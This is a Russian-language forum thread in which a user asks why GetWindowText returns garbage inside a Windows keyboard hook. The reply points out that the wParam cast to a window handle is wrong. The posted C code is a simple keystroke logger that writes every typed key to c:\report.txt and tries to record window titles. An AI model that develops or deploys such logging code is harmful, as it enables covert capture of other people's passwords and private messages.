GetWindowText возвращает мусор

Fury93

Для определения имени программы, вызвавшей хук (Keyboard) использую GetWindowText, но она почему то мне возвращает непонятно что...может я не правильно что-то понял?
LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(
                            int nCode, 
                           WPARAM wParam, 
                            LPARAM lParam)
{
 
char ch;            
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
    {       
    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) 
    {
    f1=fopen("c:\\report.txt","a+");
    if (wParam==VK_RETURN)
    {   ch='\n';
        fwrite(&ch,1,1,f1);
    }
    else
    {
    BYTE ks[256];
    GetKeyboardState(ks);
    WORD w;
    UINT scan;
    scan=0;
    ToAscii(wParam,scan,ks,&w,0);
    ch =char(w); 
    fwrite(&ch,1,1,f1);
 
    }
    if (nCode==HCBT_MOVESIZE)
    {
            char tzTitle[20];
            int sz = GetWindowText((HWND)wParam, tzTitle, sizeof(tzTitle));
            if (sz != 0)
                fwrite(&tzTitle,1,strlen(tzTitle),f1);
    }
 
    fclose(f1);
    }
  
}
1 ответ

Fury93

ну во первых сомневаюсь что сделав так:
(HWND)wParam
вы получите то что хотели... возможно получить имя окна можна послав какое-то сообщение... например GetWindowText для строки состояния не работает если она разделена на части, нужно посылать сообщение SB_GETTEXT... это вам конечно не поможет но все-же может разъяснит ситуацию